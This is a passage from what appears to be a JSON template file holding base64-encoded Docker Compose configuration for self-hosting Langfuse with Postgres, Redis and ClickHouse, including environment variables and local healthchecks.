3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjpsYXRlc3QnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogIC0gJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogIC0gJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSV